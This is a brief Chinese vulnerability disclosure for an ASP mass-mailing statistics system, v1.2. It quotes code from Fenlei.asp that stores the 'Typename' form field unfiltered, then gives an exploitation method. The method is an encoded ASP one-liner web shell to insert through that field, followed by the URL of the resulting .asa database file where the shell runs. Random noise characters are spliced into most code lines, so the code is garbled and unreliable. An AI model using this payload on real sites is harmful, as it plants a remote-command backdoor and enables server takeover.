铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
, I; W: x& i8 p: @  i5 N
+ e% v) k7 S; l9 ?; uIF Request.QueryString("Action")="del" Then
3 r6 e- ^" s2 h  L3 ?" I. k1 |  q. KID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
, K; G0 a/ }. q: I+ y) SIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
; ?+ C& c8 Y0 JSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
5 E3 U" m; i6 b* g' r. {5 VRs("Typename")=Tname
) o4 Y$ {5 M$ x) E) J$ ['略
Set Rs=Server.CreateObject("adodb.Recordset")
: V) T+ n* o7 Q0 VSql="Select * From Fenlei Order by id Desc "
9 L$ p/ B3 q7 @# e6 tRs.Open Sql,Conn,1,1
/ r2 L2 a% U) n" A/ K" q' e  ^'略
%>
& x/ C% I$ c$ f% H& Z
) y0 E0 O6 c2 L0 m, K
! p# K3 H) ~: D" K( e, P* o7 T' `! K
+ Q# b7 m* |' n没有过滤，直接写入数据库。

3 E8 q( F" G# S9 r利用方法：
, B) k% Z1 B( k- B) g* h, R
. n2 p- e5 s! M8 U: J+ Q插入：┼攠數畣整爠煥敵瑳∨≡┩>

+ B: O! J! a. ~0 j) @% j5 y
) k, O0 L4 U4 M. O% ?  T连接： http://www.xxx.com/###tongbaner.asa
  l/ y! c% D/ R' k'默认安装文件：
'install.asp